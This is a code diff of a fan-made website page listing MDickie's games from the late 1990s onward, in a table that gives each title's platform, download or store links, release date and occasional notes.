-                      <div style="line-height: 29px">87</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Empire</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://apps.apple.com/us/app/wrestling-empire/id1543750891">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=com.MDickie.WrestlingEmpire&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://www.nintendo.com/store/products/wrestling-empire-switch/">Nintendo Switch</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/1620340/Wrestling_Empire/">Steam (PC [Full and Demo])</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">01/21</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">88</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Old School</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://apps.apple.com/us/app/old-school-3d/id1673720627">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=com.MDickie.OldSchool&amp;hl=en_US">Android</a></span> <span><a target="_blank" href="https://www.nintendo.com/store/products/old-school-switch/">Nintendo Switch</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2529120/Old_School/">Steam (PC)</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/23</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">89</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Hard Time III</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://apps.apple.com/app/hard-time-iii/id6502045884">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=com.MDickie.HardTimeIII">Android</a></span> <span><a target="_blank" href="https://www.nintendo.com/us/store/products/hard-time-iii-switch">Nintendo Switch</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/3009850/Hard_Time_III">Steam (PC)</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/24</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Coming soon later in 2024, preorder is available.</td>
-                  </tr>
-                </tbody>
-              </table>
+  <div id="main-content">
+    <Hero id="mdickie" description="This is a fanmade site about what MDickie has developed since the 1990s!" imageSrc="/media/images/mdickiepro.webp" imageWidth="50%" imageAlt="MDickie Projects" minImageWidth="250px" imageClasses="bg-light p-1 bg-opacity-50 rounded-2" 
+      buttons={[
+        { href: "http://mdickie.com/", text: "MDickie.com", type: "primary" },
+      ]},
+    />
+    <main id="mdickie">
+      <div id="content">
+        <div class="table-responsive text-white">
+          <div class="container px-2 px-sm-0 mx-auto">
+            <div class="m-0" style="white-space: pre-line;">
+              <style>
+                th {
+                  overflow: hidden !important;
+                }
+              </style>
+              <div dir="ltr" class="table-responsive rounded-2">
+                <table class="table table-hover overflow-auto" style="table-layout: fixed;" cellspacing="0" cellpadding="0">
+                  <tbody>
+                    <tr>
+                      <th style="width:30px; vertical-align: middle;">#</th>
+                      <th style="width:302px; vertical-align: middle;">Projects</th>
+                      <th style="width:400px; vertical-align: middle;">Devices/Files</th>
+                      <th style="width:85px; vertical-align: middle;">Date (MM/YY)</th>
+                      <th style="width:250px; vertical-align: middle;">Notes</th>
+                    </tr>
+                  </tbody>
+                  <tbody>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px; vertical-align: middle;">
+                        <div style="line-height: 34px; vertical-align: middle;">1</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Dial Me Sideways</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/Dial%20Me%20Sideways.EXE">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">2</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Jumble Saler</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/Jumble%20Saler.EXE">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">3</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Newsround</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/Newsround.EXE">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">4</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Generator</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/Wrestling%20Generator.EXE">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">5</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">WWF Jakked</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/WWF%20Jakked.EXE">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="/* height: 34px; */">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">6</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Hardy Boyz Stunt Challenge</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/stunt.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">08/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">First public game to be released.</td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">7</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The Rock's Promo Cutter</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/rock.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">08/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">8</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Case 3:16</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/austin.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">9</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Trent's Dirty Session</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/trent.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">10</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Con-chair-to</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/chairto.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">11</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Fat Sow</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/fatsow.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">14</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">THAT Love Triangle</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/love.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">11/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">14</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Ian's Home Wrecking Challenge</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/ian.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">11/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">15</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling vs Boxing</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/rocky.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">16</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/shot.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">16</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Family Christmas</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/family.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/00</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">17</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Big Bumps</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/bumps.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">02/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">18</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Speedball X</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/sbx.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">03/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">19</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Online</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/fedon.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">06/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">20</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Online: September Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/eew.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">21</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">EEW's Total Annihilation </td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/ian.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Marks the end of the DOS era, beginning into the PC era.</td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">22</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Big Bumpz</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bumpz.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">23</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">CVG Strikes Back</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/cvgblitz.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/01</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">24</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Rocky</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/rocky3d.zip">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">01/02</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">25</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">03/02</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">26</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot: Star Wars Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/surewars.exe">Download</a></span>)
+                      </td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">04/02</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">27</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Online</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/flash_rock.swf">Flash (SWF)</a></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Summer of '02</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">28</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Boxer's Story</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bstory_freeware.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/bstory_update.exe">Demo</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/02</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">29</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Wrestling</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/fedwrestling_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/fedwrestling_update.exe">Demo</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/02</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">30</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Big Bumpz</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bigbumpz_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">01/03</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">31</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Booking</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/fedbook_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/fedbook_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/fedbook_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">05/03</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">32</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The MDickie Show</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_demo_lite.exe">Demo Lite</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_update.zip">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">08/03</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">33</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire (2004)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire2004_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire_trial.exe">Trial</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire_update.zip">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">01/04</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">34</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Booking MPire (2004)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bmpire2004_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/bmpire_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/bmpire_trial.exe">Trial</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">04/04</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">35</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling With The Truth (MPire Demo)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/mj_wrestling.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2004 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">36</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Popscene (2004)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">08/04</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">37</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot 3D</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot3D__setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">11/04</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">38</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrecked</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">02/05</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">39</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Popcorn</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">06/05</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
